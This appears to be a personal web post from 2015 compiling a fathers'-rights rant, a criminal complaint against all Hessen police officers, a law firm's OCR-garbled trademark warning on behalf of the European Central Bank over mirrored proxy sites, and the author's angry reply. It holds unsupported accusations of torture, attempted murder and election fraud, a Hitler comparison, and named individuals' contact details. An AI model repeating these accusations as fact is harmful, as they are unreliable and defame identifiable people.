Hinter der ganzen Lügerei unserer Regierung steht ein Männerbild bei dem der Mann zahlen soll für Kinder die im schlimmsten Falle nicht mal die eigenen sind ? was er aber auch nicht wissen darf - und die Fresse halten wenn es um frage der Erziehung geht, sonst sind faktisch die Kinder weg.
Das bedeutet
wie beim kirchlichen Adel, Hitler und den Juden, es gibt zweierlei
Menshcne, gute weibliche die alles dürfen und mindeprivilegierte Männer
die dafür zwangsabreiten sollen. Und deren Menschenwürde ist antastbar.
neuerliche Beschwerde
Maximilian Baehring
Hoelderlinstrasse 4
60316 Frankfurt a.M.
Germany
maximilian@baehring.at
Fax: +49 (0)69 67831634
Fax: +49 (0)69 1367 2100
nächstgelegene Polizeidienststelle
mittels Staatsanwaltschaft
Konrad-Adenauer Straße 20
D-60313 Frankfurt a.M.
17. Mai 2015
Strafanzeige
Hiermit ersatte ich Strafanzeige gegen sämtliche Beamte der Polzei Hessen sowie der Steuerfahndung in Hessen. Der Tavorwurf ist die Beihilfe zum sexuellen Missbrauch Schutzbefohlener respektive dessen Verdeckung, phyische Körperverletzung, psychische Körperveletzung Folter, Versuch der Unterdrückung von Strafanzeigen, unterlassene Hilfeleistung, Beihilfe zum versuchten Mord, Beihilfe zur schweren Körperverltzung, Erpressung, Vortäuschen von Starftaten, Anleiten zu Strafaten. Dazu kommen noch schwere Verstöße gegen das Betäubungsmittelgesetz. Und Wahlfälschung sowie Melderegistefälschung.
Alles ist nachweislich
aber die Damen udn Herren Beamten gehen lieber irgendwelchen wirren
Verschwörungstheorien nach und lesen den ganzen Tag im Internet als Ihre
vorliegenden Strafanzeiegn abzuarbeiten. Und das NACHWEISLICH! Ich habe
im Internet absichtlich
entsprechende Fallen ausgelegt in welche die Beamten prompt getappt sind.
Wir haben auch ein Motiv, nämlich Rache zahlreiche Dienstausichtsbeschwereden, Strafanzeige wegen Starftaten im Amte und Petitionen an Landtag, Bundestag und europäischem Parlament.
Es besteht jetzt die dringende Gefahr daß die Beamten versuchen Beweismittel zu vernichten.
Ich wurde von Beamten auch schon mehrfach zusammegschlagen.
Maximilian Bähring
http://www.openstreetmap.org/#map=17/50.11258/8.70450
Irgendjemand wirft mir hier Kondome in den Briefkasten! Möglicherweise sind das die IRREN Frauenrechtlereinnen die bei der Post
immer dieselbe abfangen weil angeblich Pässe darin befindlich sind.
bock legal
bock legal, Reuterweg 51-53. 60323 Frankfurt am Main Dr. Andreas BOCK
Michael Fügen
Einwurfeinschreiben
Stefan Bank
Herrn
Fachanwalt für Steuerrecht
Maximilian
Bahring
Dr.
Jan D. Müller-Broich, LL.M.
Hölderlinstrasse 4
Fachanwalt für Gewerblichen
Rechtsschutz
60316 Frankfurt am Main
Dr. Dirk Schmitz
Fachanwalt für Steuerrecht
Dr. Reinhard Döring
Dominik Weiß
Ulrike Müller
Daniela Burghardt, LL.M?
Christian
Tiedemann
Dr.
Alexander Weinbeer
Dr. Silke Rohnfelder
19. Mai 2015
Dr. Matthias
Achenbach
Daniel Al-Hami
Benedikt Frank
Sebastian Scholl
Maitre en droit (Pans X||)
Europäische Zentralbank ./. Bähring Telefon
Unser
Zeichen. 309/15
+49-(o)69-450902-37
Diktatzeichen: vl / D67/798-15 Fax
+49-(o)69-450902-11 ?
Internet
www.bock-legal.de
E-Mail
Sehr geehrter Herr Bähring
burghardt@bock-legal.de
in oben
bezeichneter Angelegenheit zeigen wir an, dass uns die Europäische
Zentralbank, Sonnemannstrasse 21, 60314 Frankfurt am Main? mit der
Wahrnehmung ihrer Interessen betreffend Angelegenheiten des gewerblichen
Rechtsschutzes beauftragt hat. Eine ordnungsgemäße Bevollmächtigung
wird anwaltlich versichert. Eine auf uns lautende Vollmacht kann
jederzeit nach-
gereicht werden. Namens und im Auftrag unserer Mandantin haben wir Ihnen Folgendes zu unterbreiten:
I.
Unsere
Mandantin ist die Notenbank für die gemeinsame Währung Europas, den
Euro. UnsereMandantin ist allgemein und Ihnen bekannt. Sie benutzt das
Zeichen ?Europäische Zentralbank?,die Abkürzung ?EZB? sowie die
entsprechenden Übersetzungen dieses Begriffs und deren Ab-
kürzungen in die unterschiedlichen europäischen Sprachen als lnstitutionsbezeichnung.
back legal Partnerschaft von Rechtsanwälten mbB
bock
legal Sitz der
Gesellschaft: HypoVereinsbank
Deutsche Bank
Reuterweg 51-53
Frankfurt am Main BLZ 503 201 91
BLZ 500 700 24
60323 Frankfurt am Main Partneischaftsregister: Kontonummer 15 817 578 Kontonummer 324 975 200
AG Frankfurt am Main BlC HYVEDEMM43O
BlC DEUTDEDEFRA
USt ID-Nr:
DE19898587O PR-Nr: 1994
IBAN DE42503201910015617578 IBAN DE43500700240324975200
bocklegal
- 2 -
In
Deutschland werden insbesondere die Kennzeichnungen ?Europäische
Zentralbank? bzw."EZB? sowie "European Central Bank? bzw. "ECB?
verwendet, sodass diese Schutz gegen unerlaubte Benutzung gemäß §§ 5, 15
Markengesetz genießen. Auch das Logo unserer Mandantin
wird zur
Kennzeichnung des Geschäftsbetriebs in Deutschland verwendet, sodass
auch dieses nach den vorgenannten Normen geschützt ist.
Diverse
Zeichen unserer Mandantin genießen darüber hinaus Schutz als heraldische
Zeichen im Sinne von Artikel 6ter Pariser Verbandsübereinkunft zum
Schutz des gewerblichen Eigentums (PVU), unter anderem
das Logo
das Logo mit Schritzug "Europäische Zentralbank?,
das Logo mit Schriftzug "Europöische Zentralbank Eurosystem?
sowie
die Abkilrzung "EZB? und das Wortzeichen "Europäische Zentralbank?. Die
Wortzeichen sind jeweils in den verschiedenen Sprachen der
Mitgliedsstaaten geschützt.
In der Anlage fpgen wir Ausdrucke aus
der entsprechenden Onlinedatenbank der World Intellectual
PropertyOrganization (WIPO) hinsichtlich der deutschen und der
Europäischen Sprachversion bei.
Schließlich sind die Benennungen
"Europaische Zentralbank? bzw. "European Central Bank? sowie EZB und ECB
unmittelbar als Name i.S.v. § 12 BGB einzustufen.
Die Zeichen
unserer Mandantin sind umfangreich benutzt und weltbekannt, sodass sie
in markenrechtlicher Hiqsicht auch Schutz im Sinne einer bekannten
geschéftlichen Bezeichnung i.S.v.§ 15 Abs. 3 MarkenG genielken.
II.
Unserer Mandantin ist zur Kenntnis gelangt, dass Sie auf den Webseiten www.zentral-bank.eu und www.central.banktunnel.eu
Teile der lnhalte der offziellen Webseite unserer Mandantin spiegeln
und um weitere - nicht von unserer Mandantin stammende und nicht von
dieser autori-
sierte lnhalte, wie beispielsweise das Anonymous-Logo
und andere unautorisierte lnhalte - ergänzen. Im Rahmen dieser Seite
werden an mehreren Stellen der Name unserer Mandantin in der Langform
und als Abkürzung sowie die entsprechenden Logos verwendet. Weiter
verwenden Sie die Zeichen "European Central Bank? und "ECB? als Keyword
im Quellcode ihrer Seite wwww.banktunnel.eu sowie im Quellcode der Seite
www.zentral-bank.eu unter
bocklegal
- 3 -
anderem
die Begriffe "ECB, European Central Bank, Banco Central Europeo, Banca
Centrale Europea, Europese Centrale Bank, Banco Central Europeu,
Europeiska centralbanken, Euro-pean System of Central Banks, ESCB,
Eurosystem? als Keywords. Weiter verwenden Sie das
Logo und das Zeichen ?ECB? im Titel der beiden Webseiten.
III.
Mit
all diesen Handlungen rufen Sie den unzutreffenden Eindruck hervor, es
handele sich um Internetauftritte unserer Mandantin und von ihr
erstellte oder jedenfalls autorisierte und freigegebene Inhalte.
Hierdurch verletzen Sie die Rechte unserer Mandantin in mehrerlei
Hinsicht:
? Bereits die Anmeldung und Benutzung der Domains www.zentral-bankeu sowie
www.central.banktunnel.eu
stellen Verletzungen der Rechte unserer Mandantin aus §§ 5, 15 MarkenG,
§ 12 BGB und 6ter PVÜ dar. Es gibt keine denkbare Nutzung dieser
Domains durch Sie, die nicht die Rechte unserer Mandantin
beeinträchtigen würde.
Gleiches gilt für die Verwendung des Namens
?European Central Bank?, und des Kürzels ?ECB? sowie der Logos unserer
Mandantin (jeweils in allen Sprachen) im Rahmen der Webseiten. Hier-bei
kommt es noch nicht einmal auf die konkreten Inhalte der entsprechenden
Webseite an, da
Sie ohnehin unter keinem rechtlichen Gesichtspunkt
berechtigt sind, den Namen ?Europäische Zentralbank? (unabhängig von der
jeweiligen Sprache) und/oder die entsprechenden Logos unserer Mandantin
in dieser Weise zu verwenden.
Sie beeinträchtigen durch Ihr
Verhalten die Interessen unserer Mandantin an ihren Namensrechten
massiv, indem Sie eine Zuordnungsverwirrung schaffen. Wenn Sie dies ?
wie auf den vorbezeichneten Webseiten geschehen ? darüber hinaus in
Bezug zu Bankdienstleistungen und ent-
sprechenden Inhalten tun, verstärkt das die Rechtsverletzung noch zusätzlich.
Allein der Umstand, dass Sie im Quelltext der Seite www.zentral-bank.eu
den Namen unserer Mandantin in verschiedenen Sprachen als Keyword
verwenden, begründet im Übrigen jedenfalls Erstbegehungsgefahr im
Hinblick auf eine zukünftige Nutzung des Namens in der Langform und
als Abkürzung in allen Sprachversionen der Europäischen Union.
Unsere Mandantin hat daher gegen Sie auf Basis des § 1004 BGB bzw. des § 15 MarkenG Ansprüche auf Unterlassung des rechtswidrigen Verhaltens in dem Umfang, der sich aus dem als Anlage beigefügten Entwurf einer Unterlassungserklärung ergibt, sowie auf Beseitigung der Beeinträchtigung durch Entfernung der entsprechenden Inhalte aus dem Internet und Löschung der Domains www.zentral-bank.eu sowie www.banktunnel.eu. Zudem haben Sie unserer Mandantin die entstandenen Rechtsverfolgungskosten zu erstatten.
bocklegal
- 4 -
Ihr
Verhalten schädigt die Namensrechte unserer Mandantin sowie deren guten
Ruf in erheblichem Umfang, da sodass sie nicht bereit ist, ein solches
Verhalten zu dulden. Soweit Sie durch Ihr vorskizziertes Verhalten,
insbesondere die Spiegelung und gleichzeitige Veränderung von Inhalten
der Webseite unserer Mandantin weitere Rechte verletzen, die bislang
nicht Gegenstand
dieser Abmahnung sind, behält es sich unsere
Mandantin ausdrücklich vor, diesbezüglich ergänzend die notwendigen
Schritte in die Wege zu leiten. Die Beschränkung der hiesigen Abmahnung
auf namens- und zeichenrechtliche Aspekte stellt keine Duldung Ihres
Verhaltens unter anderen
rechtlichen Aspekten und insbesondere keinen Verzicht auf weitere möglichen/veise bestehende
Ansprüche dar.
IV.
Angesichts der vorgenannten Umstände haben wir Sie aufzufordern, eine ausreichende, die Wiederholungsgefahr beseitigende strafbewehrten Unterlassungserklärung datiert und unterzeichnet bis zum
28.05.2015
(nicht verlängerbare Frist, Eingang bei uns)
an
uns zurückzusenden. Einen Entwurf einer solchen Erklärung finden Sie
anliegend. Der Eingang als Telefaxbrief innerhalb dieser Frist wird nur
als ausreichend erachtet, solange das Original der Erklärung
unverzüglich danach auf dem Postweg hier eingeht. Vorsorglich weisen wir
darauf hin, dass eine einfache, also nicht durch ein
Vertragsstrafeversprechen gesicherte Unter-
lassungserklärung die nach der Rechtsprechung zu vermutende Wiederholungsgefahr nicht ausräumt.
Innerhalb der genannten Frist sehen wir außerdem der Übersendung einer Anerkenntniserklärung Ihrerseits bezüglich des Ausgleichs der nachstehend berechneten Kosten, die Sie unter dem Gesichtspunkt des Schadensersatzes wie auch dem der Geschäftsführung ohne Auftrag zu tragen haben, entgegen.
Der von uns zu Grunde gelegte Streitwert
ist angesichts des erheblichen Interesses unserer Mandantin an einer
künftigen Unterlassung Ihres Verhaltens angemessen. Die o.g. Zeichen
unserer Mandantin sind berühmt und verfügen weltweit über eine
ausgeprägte Reputation. lm Hinblick darauf, dass es sich vorliegend um
eine kennzeichen- und namensrechtliche Materie mit
mehreren
unterschiedlichen Verletzungstatbeständen handelt, was grundsätzlich
besondere Kenntnisse erfordert, ist auch die Ansetzung einer 1,5
Geschäftsgebühr gemäß Ziffer 2300 W RVG aus diesem Streitwert angemessen
(vgl. OLG Düsseldorf, GRUR-RR 07, 102, 103 - Peugeot-
bocklegal
- 5 -
Tuning). Diese Auffassung vertritt auch das OLG Frankfurt (GRUR-RR 2012, 2013 ff. - Cabat-
Tasche).
Den Ausgleich der entsprechenden, beiliegenden Kostenrechnung erwarten wir bis spätestens zum 05.06.2015
Innerhalb derselben Frist erwarten wir den Eingang eines zvveifelfreien Nachweises ?ber den unwiderruflichen Verzicht auf die Webseiten www.zentral-bank.eu sowie wvwv.banktunne|.eu.
Erfollen
Sie einen oder mehrere der vorgenannten Ansprüche nicht, nicht
vollständig oder nicht rechtzeitig, werden wir insoweit unserer
Mandantin die sofortige gerichtliche Geltendmachung
dieser Ansprüche anraten.
Mit freundlichen GriJBen
Daniela Burghardt .
Rechtsanwältin
Anlage ?
? Kostenaufstellung
- Strafbewehrte Unterlassungserklärung (2x)
- Registerauszüge
bock legal
bock legal, Reuterweg 51-53. 60323 Frankfurt am Main Dr. Andreas BOCK
Michael Fügen
Einwurfeinschreiben
Stefan Bank
Herrn
Fachanwalt für Steuerrecht
Maximilian
Bahring
Dr.
Jan D. Müller-Broich, LL.M.
Hölderlinstrasse 4
Fachanwalt für Gewerblichen
Rechtsschutz
60316 Frankfurt am Main
Dr. Dirk Schmitz
Fachanwalt für Steuerrecht
Dr. Reinhard Döring
Dominik Weiß
Ulrike Müller
Daniela Burghardt, LL.M?
Christian
Tiedemann
Dr.
Alexander Weinbeer
Dr. Silke Rohnfelder
19. Mai 2015
Dr. Matthias
Achenbach
Daniel Al-Hami
Benedikt Frank
Sebastian Scholl
Maitre en droit (Pans X||)
Europäische Zentralbank ./. Bähring Telefon
Unser
Zeichen. 309/15
+49-(o)69-450902-37
Diktatzeichen: vl / D67/839-15 Fax
+49-(o)69-450902-11 ?
Internet
www.bock-legal.de
E-Mail
burghardt@bock-legal.de
Kostenaufstellung
Gegenstandswert: 50.000,00 ?
Geschäftsgebühr §§ 13, 14 RVG, Nr. 2300 VV RVG 1,5 1.744,50 ?
Pauschale für Post und Telekommunikation Nr. 7002 VV RVG 20,00 ?
Zwischensumme
netto
1.764 50 ?
Gesamtbetrag
1.764,50 ?
Daniela Burghardt .
Rechtsanwältin
Wir bitten um Überweisung des Betrages auf eines der unten angegebenen Konten unter Anga-
be des Aktenzeichens.
back legal Partnerschaft von Rechtsanwälten mbB
bock
legal Sitz der
Gesellschaft: HypoVereinsbank
Deutsche Bank
Reuterweg 51-53
Frankfurt am Main BLZ 503 201 91
BLZ 500 700 24
60323 Frankfurt am Main Partneischaftsregister: Kontonummer 15 817 578 Kontonummer 324 975 200
AG Frankfurt am Main BlC HYVEDEMM43O
BlC DEUTDEDEFRA
USt ID-Nr:
DE19898587O PR-Nr: 1994
IBAN DE42503201910015617578 IBAN DE43500700240324975200
D67/800-15
STRAFBEWEHRTE UNTERLASSUNGS- UND
VERPFLICHTUNGSERKLÄRUNG
Herrn Maximilian Bähring, Hölderlinstrasse 4, 60316 Frankfurt am Main
- nachfolgend Schuldner genannt -
verpflichtet sich gegenüber der
Europäischen Zentralbank, Sonnemannstrasse 22, 60314 Frankfurt am Main
- nachfolgend Gläubigerin genannt -
zu Folgendem:
1.
Der Schuldner verpflichtet sich,
a)
es zukünftig zu unterlassen die Zeichen ?Europäische Zentralbank"
und/oder die Abkürzung ?EZB? jeweils in allen Sprachen und Schreibweisen
der Europäischen Union als Keyword von Webseiten zu verwenden, deren
Inhalte nicht von der Gläubigerin rstellt und/oder autorisiert wurden.
b)
es zukünftig zu unterlassen, die Zeichen ?Europäische Zentralbank?, die
Abkürzung ?EZB?, beide jeweils in allen Sprachen und Schreibweisen der
Europäischen Union und/oder das nachfolgend wiedergegebene Zeichen als
Titel von Webseiten zu verwenden, deren Inhalte nicht von der
Gläubigerin erstellt und/oder autorisiert wurden:
c) es zukünftig zu unterlassen, die nachstehend wiedergegebenen Zeichen, soweit sie Textbestandteile enthalten jeweils in allen Sprachen und Schreibweisen der Europäischen Union, im Rahmen von Webseiten zu venlvenden, deren Inhalte nicht von der Gläubigerin erstellt und/oder autorisiert wurden:
- 2 -
EUROPÄISCHE ZENTRALBANK
und/oder
EUROPÄISCHE ZENTRALBANK
E U R O S Y S T E M
d) binnen einer Wochen nach Unterzeichnung dieser Vereinbarung gegenüber der zuständigen Vergabestelle, durch schriftliche Erklärung verbindlich und unwiderruflich die Internet-Domains www.zentral-bank.de und www.banktunnel.eu freizugeben.
2.
Fürjeden Einzelfall der Zuwiderhandlung
a) gegen die vorstehenden Unterlassungsverpflichtungen zu 1.a) bis 1.c) zahlt derSchuldner an die Gläubigerin eine Vertragsstrafe in Höhe von ? 5.500,00 (fünftausendfünfhundert Euro).
Die Berufung auf jeglichen
Fortsetzungszusammenhang, ferner auf Gesamtvorsatz und/oder natürliche
Handlungseinheit ist ausgeschlossen. Insbesondere stellt das Anbieten,
Ankündigen, Feilhalten und/oder Inverkehrbringen eines jeden einzelnen
Gegenstandes einen Einzelfall im Sinne dieser Vereinbarung dar. Bei
Anzeigen entgegen vorstehender Unterlassungsverpflichtung stellt jede
einzelne Anzeige in jeder
einzelnen Ausgabe eines jeden einzelnen Druckerzeugnisses einen Einzelfall im Sinne dieser Vereinbarung dar.
Bei Nutzungen im Internet stellt jeder neu begonnene Wochenzyklus einen Einzelfall im Sinne dieser Vereinbarung dar.
_ 3 _
b)
gegen die vorstehende Verpflichtung 1.d) zahlt der Schuldner an die
Gläubigerin eine Vertragsstrafe in Höhe von ? 5.500,00
(fünftausendfünfhundert Euro). Hierbei stellt jeder neu begonnene
Wochenzyklus einen Einzelfall im Sinne dieser Vereinbarung
dar.
3.
Der
Schuldner erstattet der Gläubigerin die Kosten des anwaltlichen
Verwarnungsschreibens gemäß beigefügter Kostenaufstellung, nämlich den
Betrag in Höhe von ? 1.764,50.
4.
Gerichtsstand und Erfüllungsort ist auch Frankfurt am Main.
Ort/Datum rechtsverbindliche Unterschrift/Stempel
Herr Maximilian Bähring
Maximilian Bähring
Hölderlinstraße 4
60316 Frankfurt a.M.
Fax: 069/678341634
maximilian@baehring.at
vorab als Fax: 069/450902-11
Fräulein Burghardt
bock legal
Reuterweg 51-53
60323 Frankfurt a.M.
20. Mai 2015
FRECHHEIT ? SCHUTZGELDERPRESSUNG IST DAS
Frau Burghartd!
Soeben, 20. Mai 2015 ehralte ich per Einschreiben Einwurf ihr Schreiben mit dem Versuch mir eine Unterlassungserklärung abzupressen.
Es wird Strafanzeige gegen Sie erstattet wegen Nötigung! Ich bin Datenschutz/Netzaktivist und als solcher habe ich etwas gegen Abmahnanwälte. Wer mich dazu erpressen will ihm als Anwalt horrende Gebühren zu bezahlen die von der Höhe her ganz sicher nicht dem ? nur im Falle eines letztinstanzlichen Klagverlustes -BRAGO/RVG Satz entsprechen ist bei mir gerade richtig. Das klage ich durch bis zum EUGH wenn es sein muß. Ich bin gerade wieder in Strasbourg beim europäischen Gerichtshof für Menschenrechte mit einem Verfahren in dem es um Anwaltsgebührenerstattung geht. Sie als Jurist sollten am besten wissen daß man vor Gericht kein Recht bekommt allenfalls ein urteil (denn zu Recht kommt man nur durch Recht also etwa bei Tatvorsatz-Nachweisbarkeit).
Bei ?zentral-bank.eu? bin ich der falsche Ansprechpartner. Wenn Sie nicht wollen daß eine Domain die eventuell gegen Markenrecht verstößt verwendet wird dann wenden Sie sich an die für die Topleveldomain ?.eu? zuständige Registry, die Eurid, die alleine Abhilfe schaffen könnte. Was die third level domain ?central.banktunnel.eu? angeht deren Delegation mir als Domain-Inhaber des Namens ?banktunnel.eu? obliegt so kann ich hier keinerlei Markenrechtverletzung feststellen. Der Namensbestandteil Tunnel bezieht sich auf Tunnel wie in einem VPN.
Die ?zentral-bank.eu? Domains ist als solche auch nicht schützbar weil es von Zentralbanken gleich mehrere innerhalb der EU gibt. Ich habe mich informiert. Die gesetzlichen Regeln der EU sehen vor daß bei mehreren konkurierenden Institutionen mit einem Anspruch innerhalb EU-Europas diejenige den Zuschlag bekommen soll in deren Sprache ein Domainname verfasst ist. ?Central-Bank.EU? würde insofern der britischen Krone gehören weil ?Central-Bank? ein englischsprachiger Begriff ist. Insofern könnten theoretisch auch noch zumindest die Deutsche Bundesbank oder die Bank Austria Ansprüche anmelden. ?/-2-
-2-
Was die SSL-Zertifikate
der vorgenannten Domains angeht: Nach eingehender Prüfung durch den
Registrar (Comodo) wurden mir diese übertragen.
Hintergrund meiner Angebote im Netz:
Seit meinem fünfzehnten Lebensjahr betreibe und warte ich Netzwerke, schon mit 15 Jahren habe ich Geschäftsreisen (nach Hamburg) unternommen um die bundesweiten (damals noch lokalen) Netze einer internationalen Human-Resources Consultancy (den EDV-Support derer internationalen Verbands-Partner-Niederlassungen in 35 Ländern dieser Erde von Kanada bis Australien ich ab dem 23. Lebensjahr als geschäftsführender Gesellschafter der outgesourcte EDV-Abteilung dieses Unternehmens übernahm) zu betreuen. Am Tage meines 18. Geburtstages stand ich bei Öffnung des Rathauses in Bad Homburg beim Gewerbeamt um meine Selbständigkeit anzumelden. Ich betreibe vom Know-How her Netzwerke auf Niveau von Autonomen Systemen (AS21158) und bin weitestgehend gleichbrechtigt etwa mit der Deutschen Telekom was das Routing im Internet angeht. Ich habe eine komplett selbstgebaute eigene, auf Routing- und Serverdienste spezialiserte Linux-Distribution erschaffen.
Mein aktuelles, - hobbymäßig, ich bin im Prinzip Frührentner - betriebenes Netzwerk erstreckt sich ? neben Deustchland - von New York über London bis Tokyo. Geografische Verteilung war notwendig geworden nachdem man verstärkt DDOS- Attacken, unter anderem von Israel aus, auf meinen Name- Server gefahren hatte. Insofern ist weitaus mehr als fraglich ob ein deutsches Gericht zuständig wäre.
Ich bin einer der Aktivisten hinter ?Freiheit Statt Angst? und engagiere mich ? etwa mit Demo-plakate kleben ?für den Arbeitskreis Vorratsdatenspeicherung, mein damaliger Kontakt ist inzwischen bei der Piratenpartei die maßgeblich aus der Bewegung heraus Zulauf bekommt.
Ich bin ein Freund kostenloser
Angebote im Netz wie etwa Wikipedia. Nun wollte ich der ?Netzgemeinde?
etwas zurückgeben. Hierfür habe ich unter anderem auch einen DynDNS
Dienst geschrieben ?dynip.name? der demnächst online geht.
Mich
ärgert daß man im Internet immer massiver überwacht wird. Dagegen
wollte ich ein Zeichen setzen. Und daher betreibe ich einen
Anonymisierungsdienst. Wer diesen KOSTENLOS ANGE-BOTENEN Dienst nutzt
sieht die Seite der EZB durch meinen Rechner hindurch - so wie ich sie
sehe.
Ihnen ist sicherlich geläufig daß man im Internet eine Seite
an denjenigen anpassen kann der Sie aufruft, so wäre es beispielsweise
möglich einen Filter zu programmieren der Rechnern der Federal Reserve
Bank der USA einen anderen Leitzinssatz anzeigt als dem Rest der Nutzer
des Internets. Etwa anhand der IP-Adressen. $_SERVER[?REMOTE_ADDR?] ist
ein guter Suchbegriff für google wenn Sie sich da einlesen.
Um zu vermeiden daß man Opfer einer solchen Täuschung wird, das beispielsweise nur einem selbst ein erhöhter Preis für eine im Netz angebotene Ware angezeigt wird, ein Aufschlag, der jemand anderem nicht angezeigt wird, nutzt man dann Proxy Server um zu verifizieren daß die Information korrekt ist, etwa http://www.webproxy.net oder eben
DEN MEINIGEN. ?/-3-
-3-
Die
Wahl der EZB für einen für die Netzgemeinde angebotenen
Anonymisierungsdienst war naheliegend da ich in direkter Nachbarschaft
wohne. (Mein Appartement in der Hölderlinstraße 4 ist etwa 500 m
Luftline vom Neubau entfernt.) Ich hatte deshalb schon ? ohne Antwort zu
erhalten ? um ein sogenanntes BGP-Peering zwischen dem AS der EZB 31614
und dem meinigen 21158 per optischer Richtfunkstrecke ersucht, von
meinem Schlafzimmerfenster aus habe ich die hierfür notwendige
Sichtverbindung auf das Gebäude ihrer Mandantin.
Der Anonymisierungsdienst-Proxy-Server nimmt nun ? für spätere Verwendung als Platzhalter für eine Werbeeinblendung (um den Serverbetrieb zu finanzieren, momentan sponsore ich das noch privat)- zwei Modifikationen an der geproxieten Seite vor: die Erste indem er über ein verändertes Logo darauf hinweist daß es sich um einen Anonymisierungsdienst handelt (siehe Abbildung).
Die Zwote ist daß ein Platzhalter für eine
Werbeeinblendung als ?CONTENT INSERTED BY ANONYMOUS TRANSPARENT PROXY?
eingefügt wird. (siehe Abbildung). Momentan weise ich
hier auf ein aktuelles Gerichtsverfahren hin und meine Blogs.
Ich bin nämlich nicht nur beruflich recht aktiv egwesen bevor meine Ex mir durch den Falschvorwurf der Drogennahme im 14 Jahre andauernden Sorgechtsstreit das Unternehmen ruiniert hat sondern auch journalistisch, als Verleger und Herausgeber unserer Schülerzeitung ExtraPlatt, nicht zu ver-wechseln mit der BÖRSEN-ZEITUNG die Bernd Bähring ? so heißt mein Vater ? als Chefredakteur herausgegeben hat. Die deutsche Bundesregierung hat mich erst neulich als Jorunalisten akkreditiert.
Mein Blog heißt ?http://sch-einesystem(.tumblr.com)?, eine Anspielung auf die zu Zeiten des sogenannten heißen Herbstes von der RAF verwandete Floskel des Schwein-e-systems in Anlehnung an Geld_Scheine im ?Eurosystem?. Direkt vor dem Schwimmbad in dem ich in meiner Jugend zwo mal wöchentlich trainierte hat man den Vorstandschef der Deutschen Bank, Herrhausen, in die Luft gejagt, das mag noch unterbewußt bei der Mamensfindung mit hineingespielt haben.
Er ? der Blog - ist auch in einer fürs OFFLINE lesen optimierten PDF-Ansicht verfügbar. Ich schlage vor sie laden sich das mal aus dem Netz runter: http://central.banktunnel.eu/download/
Hier beschäftige ich mich mit Dingen wie eigenen IP-Adressbereichen für die Regierung oder der korrekten Einordnung staatlicher Institutionen unter einer Topleveldomain ?.gov? wobei etwa DEutschland mit dem US-Bundesstaat DElaware um ?de.gov? konkuriert. Das alles können sie dort nachlesen.
Nicht umsonst agiert die EZB als ?ecb.europa.eu?.
?/-4-
-4-
Neben meiner Tätigkeit als Hobbyjournalist bin ich auch noch politisch im Jugendparlament aktiv gewesen. Ich habe also Anliegen als außerparlamanetarische Opposition. Ich möchte beispielsweise eine eigene Währung einführen für Grundbedarfe (Essen/Waschsalon/Frisör ?) wobei man ähnlich wie im Märchen Tischlein-Deck-Dich auf seine EC-Karte einen zwoten Betrag in einer eigenen Währung (sagen wir in ?Broteinheiten? statt Euros) hätte der nie ?leer? wird, der alle 24 Stunden erneut wie bei einer Prepaid-Handy-Karte wieder ?aufgeladen? wäre und nur gegen Nahrungsmittel und andere Grundbedarfe eingetauscht werden könnten. So wäre jeder ? ohne Sozialhilfe beantragen zu müssen ? etwa an einem Freitagnachmittag wenn der Kühlschrank wie das Konto leer ist und für eine Rechnung eines Selbständigen der erwartete Zahlungsengang ausbleibt ? immer und unbürokratisch mit Essen versorgt ohne irgendwo bei einem Amt darum betteln zu müssen. Ich denke dabei auch an Suchtkranke die ihr Sozialgeld in Drogen umsetzen. Diese neue Währung würde beim normalen Einkauf angerechnet.
Also: Ich bin Jornalist, ich bin ehemaliger Abgeordneter des Judgen-parlamentes, ich bin politsich im Umfeld der Piratenpartei aktiv, ich kenne mich bestens im Internet aus führe einen Blog ?.
? und Sie wollen mir wirklich allen ernstes verbieten
einen Proxy Server zu betreiben? Proxy-Server (auch ?Webcaches?) sind im
Intenet nicht ohne Grund nicht nur erlaubt sondern auch beliebt. Im
Prinzip stellt jede ?Fritzbox? mit der Sie zu Hause ins Internet gehen
einen voll-transparenten NAT-?Proxy? dar. In Browsercache ihres Rechners
werden die Logos der EZB bei jedem Aufruf abgelegt.
Vielleicht wollen sie da ja auch gleich gegen jeden Nutzer der EZB-Website vorgehen.
Was sie vorhaben ist so in etwa der Versuch eines Fernsehsenders einem Fernsehzuschaer zu verbieten das Programm des Senders auf seinem Fernsehgerät zu emfangen weil das Logo des Senders auf einem TV-Bildschirm angezeigt wird der nicht Eigentum des Senders ist und das Programm zudem eine unzulässige Kopie der Realität in den Kulissen des Senders darstellt.
Was sie wollen ist analog dazu mir zu verbieten auf dem von mir gekauften Exemplar einer Tageszeitung Artikel anzumarkern oder Anmerkungen vorzunehmen.
Sie selbst weisen auf den offenen Quellext hin. Sie können also problemlos nachverfolgen ob und welche Änderungen am HTML der Seite vorgenommen werden (etwa mittels eines ?DIFF?) nämlich abgesehen von den vorhin erwähnten (Werbeeinblendung, Hinweis daß es sich um einen Proxy handelt) keine.
Das ist so im Internet üblich, hunderte, wenn nicht abertausende werbefinazierte Proxies machen das so.
Was die erwähnten Schlüsselwörter angeht. Nun: es ist ein Porxy. Diese setzen Sie also selbst weil die an Suchmaschinen unverändert durchgereicht werden.
?/-5-
-5-
Die EZB wäre die erste Institutuion die es schafft Proxy Server zu verbieten. Sie würde damit an und für sich per Präzendenzfall die rechtliche Grundlage schaffen das gesamte Internet komplett abschalten zu lassen weil niemand mehr in etwa eine ?Fritzbox? betreiben dürfte die ebenfalls per NAT stellvertretend für den dahinterhängenden Rechner Inhalte abruft un diese dann durchreicht, eben proxied.
Ich gebe das hier samt ihres UNVERSCHÄMTEN Pamphletes in vollem Umfange an die größten einschlägigen Internetforen, Fachzeitschriften, meine ?Freunde? von der Börsenzeitung, meine zahlreichen politischen und journalistsichen Kontakte, einige Fachanwälte weiter.
Wären Sie ohne ? vor allem externen - Anwalt ? verfügt ihr Institut denn über gar keine hauseigenen Justiziare - auf mich zu gekommen der gleich noch unsummen Geld von mir, einem H(artz)IV Empfänger abpressen will, man hätte sich sicherlich gütlich einigen können. Aber dafür ist es mit dem getanen Schritt zu spät.
Hier ist es der Ton der die Musik macht.
Sie haben sich in den letzte Jahren sehr ?beliebt? gemacht bei der Bevölkerung, wenn Sie noch einen draufsetzen wollen, dann ?Sue me?, verklagen Sie mich doch.
Maximilian Bähring
zum Vergleich: die kommerzeille Seite http://proxy.ninja mit Werbeinblendung
beim anonymisierten Besuch der Website des Justizministeriums, ? was ich mache ist ?MARKTÜBLICH?!
Nachweislich
habe ich bereits im Juni 2014 (ich kann die Uhr bei Tumblr nicht
verstellen) zum Thema eigene T(op)L(evel)D(omain) für den Fianzsektor
etwa ?.FIN(ance)? gebloggt und getwittert, Diese ließe sich dann besser
schützen.
Maximilian Baehring
